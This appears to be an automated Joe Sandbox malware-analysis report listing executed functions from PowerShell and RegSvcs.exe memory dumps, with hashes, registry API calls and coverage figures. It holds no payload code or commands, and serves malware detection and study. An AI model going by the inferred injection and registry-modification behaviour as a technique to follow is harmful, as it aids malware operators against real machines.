Memory Dump Source

Source File: 00000008.00000002.58468809766.00007FFB4C850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46f4f4e515f5dd19c659b2c8a09c6290ddf029f5e8c173ad80eea47dbb7c973
Instruction ID: e5c7964e6c565e9c4592ee6128c32695fd304443a63608790e7adbd65f3e639c
Opcode Fuzzy Hash: d46f4f4e515f5dd19c659b2c8a09c6290ddf029f5e8c173ad80eea47dbb7c973
Instruction Fuzzy Hash: 56F017B4E1820B8BDB00EFA4C5855BEB7B0EB44310F208526C016EA280EB78AA448B80

Function 00007FFB4C859658 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58468809766.00007FFB4C850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 996a122f9a2ae0e2d06c1df0b3950cc3d6ae6fd526b03b8095b77369e371d9a2
Instruction ID: 254d534c587abad9692962d632bdbd5c2c11eb134abc2baa10d96fb91ccbc633
Opcode Fuzzy Hash: 996a122f9a2ae0e2d06c1df0b3950cc3d6ae6fd526b03b8095b77369e371d9a2
Instruction Fuzzy Hash: 92E0C2B5B4C90907E758BA3CE4061B973C1EF88611B45863BD84EC2282DD6CED814380

Function 00007FFB4C855FB5 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58468809766.00007FFB4C850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bb604639223efcec245c0bd22a3504127af6fabe6a38456869b2f670074911c
Instruction ID: 77ac4ed61b4021d726f951edabfff76473bab91966fdcb7a8575934b593b87f9
Opcode Fuzzy Hash: 6bb604639223efcec245c0bd22a3504127af6fabe6a38456869b2f670074911c
Instruction Fuzzy Hash: A6E068E260C7010FD308BFB8C45A539F3C1EF8260030050BFD69A831E3D8AD190A8300

Function 00007FFB4C8591BF Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.58468809766.00007FFB4C850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4C850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffb4c850000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d48d1ff8d7082587831e7a406b34eb3c1619b8831c351a242c584725f089d2
Instruction ID: 2e20501ddd6b62e98864554f9303800ff9aa44274fd28401f46367c80bd18243
Opcode Fuzzy Hash: e1d48d1ff8d7082587831e7a406b34eb3c1619b8831c351a242c584725f089d2
Instruction Fuzzy Hash: BCC0C0B140C11147D12C6C3481010317336FB04500320103FC483431D38E7E2C02CB00

Analysis Process: RegSvcs.exePID: 8996, Parent PID: 8332COMMON

Execution Graph

Execution Coverage:	27.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	50%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00D20ED8 Relevance: 1.6, APIs: 1, Instructions: 107
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetValueKey.NTDLL(?,?,?,?,?,?), ref: 00D20F98

Memory Dump Source

Source File: 0000000B.00000002.58298418331.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_RegSvcs.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 10a27d292c96394658088113f6f806f7a7480c8519bc44b363a821e80732a78a
Instruction ID: e6f2968252b44c376490e9f643f3c04e1f4ef137e89e048eea23a123b5ef9549
Opcode Fuzzy Hash: 10a27d292c96394658088113f6f806f7a7480c8519bc44b363a821e80732a78a
Instruction Fuzzy Hash: B64186B9D042589FCF10CFA9E984A9EFBB1BB1A310F24A41AE814B7350D375A941CF64

Function 00D20EE0 Relevance: 1.6, APIs: 1, Instructions: 104
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetValueKey.NTDLL(?,?,?,?,?,?), ref: 00D20F98

Memory Dump Source

Source File: 0000000B.00000002.58298418331.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_RegSvcs.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 629eb0aa61c84f05eeabb13ee7c150301e6c3921f92af21a8763b4b74979fd01
Instruction ID: f6eab97b72bdec4f64c59d80196744731e2091b1124a4a04cc6fbcf681db537f
Opcode Fuzzy Hash: 629eb0aa61c84f05eeabb13ee7c150301e6c3921f92af21a8763b4b74979fd01
Instruction Fuzzy Hash: 2F3157B9D042589FCF10CFA9E984A9EFBF1BB19310F24A41AE814B7310D375A945CF64

Function 00D209FA Relevance: .2, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.58298418331.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34c5f1d15c1f011eb0044a15c6e042e1a8113baf9aed1b0db73d967b5d4f435d
Instruction ID: 3b969d02592114e7c4e7044b7a0543d5f26d62c332872fe3b7bba4c2c0eba581
Opcode Fuzzy Hash: 34c5f1d15c1f011eb0044a15c6e042e1a8113baf9aed1b0db73d967b5d4f435d
Instruction Fuzzy Hash: 4361D474D012189FCB24DFA4E844BEDBBB1FF59304F24916AD509B3251DB30AA86CF64

Function 00D20CB0 Relevance: 1.6, APIs: 1, Instructions: 112
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?), ref: 00D20D84

Memory Dump Source

Source File: 0000000B.00000002.58298418331.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_RegSvcs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a9de0d6aa25faf1c3c040443d2466c3bf7afdc70b57849c18a056f75f73882ab
Instruction ID: 7bde6d22e93408372d9b66195b8223013c5c67b537ef3bcbe89f7d2b252ba911
Opcode Fuzzy Hash: a9de0d6aa25faf1c3c040443d2466c3bf7afdc70b57849c18a056f75f73882ab
Instruction Fuzzy Hash: 044188B8D012589FCF10CFAAD884ADEFBB5BB59314F14902AE818B7310D374A946CF64

Function 00D20CB8 Relevance: 1.6, APIs: 1, Instructions: 108
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?), ref: 00D20D84

Memory Dump Source

Source File: 0000000B.00000002.58298418331.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_RegSvcs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c85c1fe71e415ca75b50ffb29e78b356dbae864e18fc2764f2add72aa333a6bd
Instruction ID: 62e02aafd8ed6723a042dd9884dfbe52237a8d90a3a98a5c234f9b2ac2739e23
Opcode Fuzzy Hash: c85c1fe71e415ca75b50ffb29e78b356dbae864e18fc2764f2add72aa333a6bd
Instruction Fuzzy Hash: 4F4166B8D052589FCB10CFAAD884ADEFBB5BB59314F14902AE818B7210D374A946CF64

Function 00D20FF9 Relevance: 1.6, APIs: 1, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.KERNELBASE(?), ref: 00D2107D

Memory Dump Source

Source File: 0000000B.00000002.58298418331.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_RegSvcs.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: dde4903f9e20a9b3830c3acf2042ad2df9875f5d55f70940d01f1d3998c97c0e
Instruction ID: 540f2941b7582e221111bddacd7f213db98ed0559e8472b33784ad80803c8a1d
Opcode Fuzzy Hash: dde4903f9e20a9b3830c3acf2042ad2df9875f5d55f70940d01f1d3998c97c0e
Instruction Fuzzy Hash: 4E31CBB8D01258AFCB10CFAAE884A9EFBF4EB59314F14842AE814B7310C335A945CF64

Function 00D21000 Relevance: 1.6, APIs: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.KERNELBASE(?), ref: 00D2107D

Memory Dump Source

Source File: 0000000B.00000002.58298418331.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_RegSvcs.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 579fd9e20d015c27b26d2d8c3278e503a11b75aab3c16bd6a39d2c8ce76e116a
Instruction ID: 402984f3b913a01c6044a7d9212393130c95cbd26c13e3c69022659eeac3524a
Opcode Fuzzy Hash: 579fd9e20d015c27b26d2d8c3278e503a11b75aab3c16bd6a39d2c8ce76e116a
Instruction Fuzzy Hash: 3C31BBB8D012589FCB10CFAAE984A9EFBF4FB59314F14842AE818B7310C335A941CF64

Analysis Process: RegSvcs.exePID: 9072, Parent PID: 8400COMMON

Executed Functions

Function 0651237F Relevance: 1.6, Strings: 1, Instructions: 305COMMON

Download Yara Rule

Strings

ECq, xrefs: 0651282E

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID: ECq
API String ID: 0-2706903857
Opcode ID: 91a52a7d733af6de3e03aaccea55e21072116ac994c982dea257f2d51ba1f52b
Instruction ID: 7d528370d99c8c0e97dac10e89fd33d8114a4a056d844af71bc84d78a95bb270
Opcode Fuzzy Hash: 91a52a7d733af6de3e03aaccea55e21072116ac994c982dea257f2d51ba1f52b
Instruction Fuzzy Hash: 1FD11F74B10115CFD745EF64E9A8A6E77F2FB88300F1185A9E8499B398DF30AD428F85

Function 06512388 Relevance: 1.5, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

ECq, xrefs: 0651282E

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID: ECq
API String ID: 0-2706903857
Opcode ID: e89ce1006858aaec86d16052c52047c28b34416ff1c8985ca140b66025db4a5d
Instruction ID: 2c800ccda75bbe322b311134200ebb5c03807f2c8d3b684f9894ec1b71858b72
Opcode Fuzzy Hash: e89ce1006858aaec86d16052c52047c28b34416ff1c8985ca140b66025db4a5d
Instruction Fuzzy Hash: 00C11F74F10115CFD745EF64E9A8A6E77F2FB88300F1185A9E8499B398DE30AD428F85

Function 06510006 Relevance: 1.5, Instructions: 1518COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef9b7e56e933ecce862b2551ba8dd30295e8004c9a714c3f5dbbec61608c6c12
Instruction ID: 75cec61980489d1e63bec0a32b07d6f60a87a8830cb1ab9c6d52991742dc4f59
Opcode Fuzzy Hash: ef9b7e56e933ecce862b2551ba8dd30295e8004c9a714c3f5dbbec61608c6c12
Instruction Fuzzy Hash: 99F2C874B20105DFC745EF64D9A4E6A77F2FF88704F5186A9E44A9B368CA30AD42CF81

Function 06510040 Relevance: 1.5, Instructions: 1507COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479d29d0178bd4c98fd49f216311610cde5360545c712d13656bbf7a29437a01
Instruction ID: df04e406c273b72141683dfb4eb0da3bb2e6f0a7b39641dfde412f31b45f5ada
Opcode Fuzzy Hash: 479d29d0178bd4c98fd49f216311610cde5360545c712d13656bbf7a29437a01
Instruction Fuzzy Hash: 1BF2C874B20104DFC745EF64D9A4E6A77F2FB8C704F5186A9E44A9B368CA30AD42CF81

Function 06512454 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

ECq, xrefs: 0651282E

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID: ECq
API String ID: 0-2706903857
Opcode ID: 0cf523c395b5ecaba2970efc65f2fdfbcbfbc5f48e0da6c46623838361b206e5
Instruction ID: 71284d58860146c2ee15ad8626212b9fb6f391e6205f1617db583075c5424b47
Opcode Fuzzy Hash: 0cf523c395b5ecaba2970efc65f2fdfbcbfbc5f48e0da6c46623838361b206e5
Instruction Fuzzy Hash: 3FA12174F10115CFD749EF64E9A8A6E77F2FB88300F1185A5E8499B398DE30AD428F85

Function 065169C8 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77fe944d2bca4ea923d6c806ccb6fdb96160fba71f7b23cef205f6d6525b86d2
Instruction ID: d51d53cbef1b2c6d8cdc01f9bcc33c49f83bef2717cb64503c8a01b235d28229
Opcode Fuzzy Hash: 77fe944d2bca4ea923d6c806ccb6fdb96160fba71f7b23cef205f6d6525b86d2
Instruction Fuzzy Hash: 75C16174F10204DFD745EFA4D954AAEB7F2FF89300B1085AAD84A9B354DA31AD02CF95

Function 0651268A Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

ECq, xrefs: 0651282E

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID: ECq
API String ID: 0-2706903857
Opcode ID: 0814ca563010c557eb9ed6c956fdf4e323693603675734fc4290907b273e7eeb
Instruction ID: 8589982d0aa0bfb11b86d59ebd3f7c436b2b9e692a1f45772eed517a1b2c755d
Opcode Fuzzy Hash: 0814ca563010c557eb9ed6c956fdf4e323693603675734fc4290907b273e7eeb
Instruction Fuzzy Hash: 2C511D74F10215CFD745EF68E868AAA77F2FB88300F1045A5E4499B394DF34AD428F85

Function 06512697 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

ECq, xrefs: 0651282E

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID: ECq
API String ID: 0-2706903857
Opcode ID: 0e7fe24311bd04e9806ab42a6b5f52ee05bd83d4257482fcc09361c660202517
Instruction ID: 7f318604e0b36c3812b6360608c37d56864a14919df9f9975e0d3177c7543d6e
Opcode Fuzzy Hash: 0e7fe24311bd04e9806ab42a6b5f52ee05bd83d4257482fcc09361c660202517
Instruction Fuzzy Hash: 1D510D74F10215CFD755EF68E868AAA77F2FB88300F1045A5E4499B354DF34AD428F85

Function 028809CF Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

p0@, xrefs: 02880A8C

Memory Dump Source

Source File: 0000000C.00000002.59499182811.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2880000_RegSvcs.jbxd

Similarity

API ID:
String ID: p0@
API String ID: 0-36357665
Opcode ID: 17923de8e51a2fc69e4d7316d82ef9387cfe79c2a2df16cf7d36d8eecb8764ca
Instruction ID: 38e23ca09c93655a4f87c10d33b58891b6519d0ed3d3b48d8ae326e40969539f
Opcode Fuzzy Hash: 17923de8e51a2fc69e4d7316d82ef9387cfe79c2a2df16cf7d36d8eecb8764ca
Instruction Fuzzy Hash: E5411978B101048FCB48EF68D598AADBBF2BF8C710F2544A9E406EB361DA759C05CF51

Function 065128F0 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daa0304742a20b6dc1f4e507d667f08a290ff25b2acbbb5f05f7c5aadd3178a2
Instruction ID: e96951e2c4a3197ffb40c7b439537f47aa30e55ba8875fce02eefd2cf6fce12c
Opcode Fuzzy Hash: daa0304742a20b6dc1f4e507d667f08a290ff25b2acbbb5f05f7c5aadd3178a2
Instruction Fuzzy Hash: E7123B30A007068FEB65DF79C450A9EB7F2BF88714F248A29D4469B750DB74E982CF90

Function 065128E0 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b0f2fb5f3fbe4f665bdb104e78d1f67c408f8f964d4874a00c77237ecb443a6
Instruction ID: a56937dacd0f75072205d89f13b45d6e1b3a2efaa6c373fccdd6cab5dbaf836c
Opcode Fuzzy Hash: 1b0f2fb5f3fbe4f665bdb104e78d1f67c408f8f964d4874a00c77237ecb443a6
Instruction Fuzzy Hash: FBD14D30A007069FE765DF79C850B9AB7F2FF84714F248A29D4469B690DB74E982CF90

Function 06513745 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d7cccd7af01dcd7410e2a31a31921ecd6a3fb9a963c5903e8ac1d4333c05c1
Instruction ID: c228622dc2c6dd4e2dbf4748411b8ded6273e8fb719948c5c426bf1e4abe06de
Opcode Fuzzy Hash: 83d7cccd7af01dcd7410e2a31a31921ecd6a3fb9a963c5903e8ac1d4333c05c1
Instruction Fuzzy Hash: 7C91D834A00209DFDB54DFA9C594AADBBB2FF89314F2485A9D406AB361DB31ED42CF50

Function 06513C28 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcc90ec121c77ee38542d5031c0d5d36db4700a09e50de62a0c5d6a7ef58d8f6
Instruction ID: b6e4abfc6d497e0754366937588abe652b01ceca28327be9c12682209f0243c6
Opcode Fuzzy Hash: bcc90ec121c77ee38542d5031c0d5d36db4700a09e50de62a0c5d6a7ef58d8f6
Instruction Fuzzy Hash: 2E41CE70B003499FDB15CF69C8A0AAABBF4FF89204B14896AE449CB711DB74ED05CBD0

Function 065138C2 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a77ff0b3c839849f13755277578f27bd565aaec14531ccd756ef784bcca854
Instruction ID: 6218d6501bca20664cb9480630b2f3d1aa19fe4d0c6374aaada92ae985e2aa40
Opcode Fuzzy Hash: e0a77ff0b3c839849f13755277578f27bd565aaec14531ccd756ef784bcca854
Instruction Fuzzy Hash: 68412B34A00608DFEB54DBA9C5A4BADBBB2BF88314F648568D405AF351DB35DD42CF50

Function 065133E0 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ef96d1ace8ed3e65ef504782d2fec6de71f1fc8b7566ae6d963e3bca36959d5
Instruction ID: 0fa02ad062ebfcc39d609de549bb5a3c5e66df5508d2ae59a64150208ea210e6
Opcode Fuzzy Hash: 9ef96d1ace8ed3e65ef504782d2fec6de71f1fc8b7566ae6d963e3bca36959d5
Instruction Fuzzy Hash: DB31F9307003409FE325DF69D854A9A7BE5BFD5210B18CE5ED0C58F290DB31D806CB95

Function 06516D15 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d376b070ac1793be4d02e78849a30c492586b555c3fd71d79a71ade53ad6843
Instruction ID: 5364df8851af216049493839239e088070cb171dc2c4cd41a1bb37746e09f771
Opcode Fuzzy Hash: 4d376b070ac1793be4d02e78849a30c492586b555c3fd71d79a71ade53ad6843
Instruction Fuzzy Hash: 52312431A05384AFD755CF69C980956BBF6FF89300B198AAED489CB702EA30E805CB51

Function 028808E0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59499182811.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2880000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ed7b3502256c16acf10fba430d1da1ee9d7a25325a550931d8eb7120e9696fa
Instruction ID: faa82bb5ec84323dfd77bf79cb9e05bc4a0c9100b6a03f99422879992ee08a5b
Opcode Fuzzy Hash: 1ed7b3502256c16acf10fba430d1da1ee9d7a25325a550931d8eb7120e9696fa
Instruction Fuzzy Hash: 1421D73870A3805FD707A739CC5075A3FB6AFC6510719849AE485CF263DA65DC098791

Function 06515CD0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e96a2dc78e493d392abc03c5e066cbd5a9753d91ee57335ed4a0ef1b0f95c14a
Instruction ID: 710de08338e972658b10f900f0a5e3651757b855fcb0f63794a95ff0d60422ed
Opcode Fuzzy Hash: e96a2dc78e493d392abc03c5e066cbd5a9753d91ee57335ed4a0ef1b0f95c14a
Instruction Fuzzy Hash: 9F213470B053508FDB06AB2498297AE3FB2AF86300F54046AE441EF386DE381D06C7D2

Function 02880908 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59499182811.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2880000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f94dbf5c13aeaf9aae28eb153ffffb6ddff8b79b32ee8f4fdae5f63705373e21
Instruction ID: f09366b94e1531863ac277ab88acb92139222a8d3b3d1c793511d3a622a070fa
Opcode Fuzzy Hash: f94dbf5c13aeaf9aae28eb153ffffb6ddff8b79b32ee8f4fdae5f63705373e21
Instruction Fuzzy Hash: 7C11E0397002108FE714EB7ADC94B6E77EAEFC8A60B04842AE949CB350EF75DC048780

Function 06513C14 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b046c885ae9c57c8be6375bdaf687e4d7aff1b3b7be35a5332b47cb5949a5747
Instruction ID: 061b8902ce7fc16a7b4da9e451e0018b32800733c33894a2b7de18e650dc27d6
Opcode Fuzzy Hash: b046c885ae9c57c8be6375bdaf687e4d7aff1b3b7be35a5332b47cb5949a5747
Instruction Fuzzy Hash: A021E070A0034A9FCB01CF79C850AAABBF4FF49210B004A6AD499DB721D338E845CFA0

Function 065191D1 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141eb89a8ee4c5589c59a07531b54e18d9e22e7ac36e12dff0156fbbae1388d8
Instruction ID: 2d2b50a55f099859f014d143d45796381aa3d4cb6747922dad436cd1fc64988c
Opcode Fuzzy Hash: 141eb89a8ee4c5589c59a07531b54e18d9e22e7ac36e12dff0156fbbae1388d8
Instruction Fuzzy Hash: 4A2189748057889FDB21DFAAC854BCFBFF4EF49220F14884AC468A7291C3386945CFA1

Function 06513DF0 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e3e659f5d91865a8fc0d5ebc6006268ffe1375b031cca0ac37c10e09f5af1f9
Instruction ID: 6b4c685a0d9044864cfb20bc9354db2eb69518451bcf8b54a3c789e04a3cb939
Opcode Fuzzy Hash: 9e3e659f5d91865a8fc0d5ebc6006268ffe1375b031cca0ac37c10e09f5af1f9
Instruction Fuzzy Hash: 7321F334600B028FE324DF19D554E52BBE5FB84324F55CA69E49A8BA61C770ED45CB80

Function 065187F0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a4b3ba9a827ab63f5b89e023b7504f1fe14f5501fd7eb2fd5e443a26f7ab6b
Instruction ID: cbee9c8cbd6ab5bc75cda825689c90fab54ae806a2ceaa976f3b3684e93ae39b
Opcode Fuzzy Hash: e0a4b3ba9a827ab63f5b89e023b7504f1fe14f5501fd7eb2fd5e443a26f7ab6b
Instruction Fuzzy Hash: 6B110231E003109BE755EB69A81479E7BB2FBC4720F408A19E445AB384EF3058068BC6

Function 06513EC0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eb7325f768beeb6f1322e255a42c130052dfc20ca61c22cad4fb24d7646c822
Instruction ID: d9f6fc95eeb86f3071d8ecad2305b3441da350271df1c5b99b139adbc460e1bc
Opcode Fuzzy Hash: 0eb7325f768beeb6f1322e255a42c130052dfc20ca61c22cad4fb24d7646c822
